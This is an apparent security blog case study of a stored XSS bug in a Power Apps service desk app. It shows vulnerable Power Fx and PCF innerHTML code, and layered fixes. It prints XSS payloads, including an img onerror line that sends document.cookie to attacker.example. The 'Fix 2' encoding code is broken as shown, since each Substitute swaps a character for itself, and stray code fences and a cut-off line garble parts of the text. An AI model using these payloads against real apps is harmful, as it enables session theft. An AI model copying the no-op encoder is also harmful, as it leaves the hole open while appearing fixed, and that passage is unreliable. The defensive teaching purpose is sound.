Power Apps gets sold as “low code,” which makes some teams assume “low risk.” That’s a mistake.
I’ve seen Power Apps deployments where the frontend looked harmless, the data lived in Dataverse or SharePoint, and the team still shipped stored XSS because someone rendered user-controlled HTML inside an app component. The platform gives you a lot of guardrails, but the moment you start mixing user input, HTML text controls, custom pages, PCF components, embedded web resources, or data flowing in from Power Automate, you can absolutely create a mess.
This case study walks through a realistic Power Apps XSS bug, how it happened, what the vulnerable code looked like, and what the fix looked like after we cleaned it up.
The setup
The app was an internal service desk tool built in Power Apps. Employees could submit requests, and support staff could review them in a richer admin screen. The team wanted formatted notes, so they used an HTML-capable rendering path for request comments.
The flow looked like this:
- Employee enters a comment in a Canvas App form
- Comment is stored in Dataverse
- Support dashboard displays the comment in an HTML Text control
- A custom PCF component also renders some status data pulled from the same record
The assumption was simple: “Only employees can access this app, so the input is trusted.”
That assumption failed immediately.
The vulnerable version
The original app let users enter comments like this:
Patch(
ServiceRequests,
Defaults(ServiceRequests),
{
Title: txtTitle.Text,
RequestComment: txtComment.Text
}
)
Nothing unusual there. The problem showed up on the admin screen.
The app rendered the saved comment using an HTML Text control:
"<div class='request-comment'>" & ThisItem.RequestComment & "</div>"
That means any HTML inside RequestComment got treated as markup, not plain text.
A normal employee entered this:
Need access to the finance shared drive.
A malicious employee entered this:
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">
Or, more realistically in a Microsoft-heavy environment, something like this:
<a href="javascript:alert('XSS')">View request details</a>
Or a payload targeting whatever context the control allowed:
<svg onload=alert('XSS')>
Whether every payload executes depends on the exact control, platform sanitization behavior, and hosting context. That’s the part people get wrong when they talk about XSS in Power Apps. They assume either “Power Apps blocks everything” or “it’s just a browser so everything pops.” Reality sits in the middle.
But from a security review perspective, the app was still vulnerable because it rendered attacker-controlled markup in a privileged workflow. Even partial HTML/script execution or DOM manipulation is enough to create a real incident.
What made this bug real-world dangerous
Three things made this more than a toy issue.
1. The payload was stored
This wasn’t reflected XSS. The bad content got saved in Dataverse and shown to every support agent who opened the ticket.
That turns one malicious employee into a cross-user attack.
2. The admin view had more power
Support agents had access to more request metadata, internal notes, and escalation actions. Even if cookies weren’t readable, a script running in that UI could still abuse the user’s session context through same-origin requests, UI redressing, or data exfiltration through whatever APIs were reachable.
3. A PCF component made the blast radius bigger
The team also passed the same comment field into a custom Power Apps Component Framework control written in TypeScript. The control did this:
public updateView(context: ComponentFramework.Context<IInputs>): void {
const comment = context.parameters.requestComment.raw || "";
this.container.innerHTML = `<div class="comment">${comment}</div>`;
}
```text
That’s classic DOM XSS. No mystery, no edge case, no debate.
If user input reaches `innerHTML`, you need a very good reason. Most teams don’t have one.
## Before: the broken implementation
Here’s the “before” state in plain terms.
### Canvas app display
htmlComment.HtmlText = “
### PCF rendering
```typescript
this.container.innerHTML = `<div class="comment">${comment}</div>`;
Rich text support by convention, not policy
The team said users were “allowed” to use basic formatting, but there was no actual allowlist, no sanitization layer, and no output encoding strategy.
That usually happens when teams want rich content but don’t want to own the security tradeoffs.
After: the safer version
We fixed this in layers.
Fix 1: Stop rendering untrusted input as HTML
The first fix was also the most effective: treat comments as text, not markup.
Instead of using an HTML Text control for arbitrary user comments, we switched to a plain text label where possible.
Safer Canvas App rendering
lblComment.Text = ThisItem.RequestComment
That sounds boring because it is. Boring is good in XSS prevention.
If the business requirement is plain comments, render plain text.
Fix 2: Encode data before putting it into HTML
There were still a couple of places where the team wanted structured HTML wrappers for styling. In those cases, the user-controlled value had to be encoded before insertion.
Power Fx doesn’t give you a perfect one-call HTML encoder everywhere you want it, so the practical fix was to sanitize before storage or before rendering through a controlled function path.
A simple defensive pattern looked like this:
With(
{
safeComment:
Substitute(
Substitute(
Substitute(
Substitute(txtComment.Text, "&", "&"),
"<", "<"
),
">", ">"
),
"""",
"""
)
},
Patch(
ServiceRequests,
Defaults(ServiceRequests),
{
Title: txtTitle.Text,
RequestComment: safeComment
}
)
)
Then the HTML Text control rendered encoded content:
"<div class='request-comment'>" & ThisItem.RequestComment & "</div>"
That’s not glamorous, and I’d still prefer plain text rendering, but it’s a lot better than dumping raw input into HTML.
Fix 3: Replace innerHTML in the PCF component
The PCF control was the easiest part to fix.
Vulnerable
this.container.innerHTML = `<div class="comment">${comment}</div>`;
```text
### Safer
```typescript
public updateView(context: ComponentFramework.Context<IInputs>): void {
const comment = context.parameters.requestComment.raw || "";
this.container.replaceChildren();
const wrapper = document.createElement("div");
wrapper.className = "comment";
wrapper.textContent = comment;
this.container.appendChild(wrapper);
}
If you only need text, use textContent. I don’t know how many XSS bugs would disappear if developers just stopped reaching for innerHTML by reflex.
Fix 4: If rich text is mandatory, sanitize on a strict allowlist
Sometimes the business really does require limited formatting: bold, italic, lists, line breaks. Fine. Then you need actual sanitization, not wishful thinking.
The right model is:
- Define allowed tags
- Define allowed attributes
- Strip event handlers
- Strip
javascript:URLs - Reject dangerous elements entirely
For custom web resources or PCF controls, do this in code before rendering. For example:
function sanitizeRichText(input: string): string {
const parser = new DOMParser();
const doc = parser.parseFromString(input, "text/html");
const allowedTags = new Set(["B", "I", "EM", "STRONG", "P", "BR", "UL", "OL", "LI"]);
const walker = document.createTreeWalker(doc.body, NodeFilter.SHOW_ELEMENT);
const nodesToRemove: Element[] = [];
while (walker.nextNode()) {
const el = walker.currentNode as Element;
if (!allowedTags.has(el.tagName)) {
nodesToRemove.push(el);
continue;
}
[...el.attributes].forEach(attr => {
el.removeAttribute(attr.name);
});
}
for (const el of nodesToRemove) {
el.replaceWith(...Array.from(el.childNodes));
}
return doc.body.innerHTML;
}
```text
Then render the sanitized result, not the raw input.
Even here, I’d be careful. Homegrown sanitizers are easy to get wrong. If you build custom components, review the Microsoft documentation for supported rendering and security practices in Power Apps and PCF.
## Fix 5: Add CSP where custom hosting is involved
For embedded web resources, portals, or custom-hosted companion apps around Power Apps, Content Security Policy helps limit damage when something slips through.
A reasonable starting point looks like this:
Content-Security-Policy: default-src ‘self’; script-src ‘self’; object-src ’none’; base-uri ‘self’; frame-ancestors ‘self’;
If you need help shaping a practical policy, [https://csp-guide.com](https://csp-guide.com) is useful. For platform-specific behavior, stick to Microsoft’s official documentation.
CSP won’t fix unsafe HTML rendering, but it can block inline scripts, reduce gadget execution paths, and make exploitation harder.
## The result after remediation
After the changes:
- User comments displayed as text in the normal workflow
- The admin screen no longer executed attacker-controlled markup
- The PCF component stopped using `innerHTML`
- Rich text support was either removed or tightly constrained
- Security review added a rule: no user-controlled data into HTML sinks without sanitization or encoding
The app still did everything the business needed. It just stopped treating employee input like trusted template code.
## What developers should take away
Power Apps doesn’t magically erase XSS. It shifts where XSS happens.
In a traditional app, you worry about templates, DOM updates, and API responses. In Power Apps, you also need to worry about:
- HTML Text controls
- PCF controls
- Custom pages
- Embedded web resources
- Data from Dataverse, SharePoint, or Power Automate
- “Internal-only” trust assumptions
My rule is simple:
- If it came from a user, it’s untrusted
- If it lands in HTML, it needs encoding or sanitization
- If you can render text instead of HTML, do that
- If your component uses `innerHTML`, assume you have work to do
That mindset catches most Power Apps XSS issues before they ship. The teams that get burned are usually the ones who think low-code means low-responsibility. It doesn’t.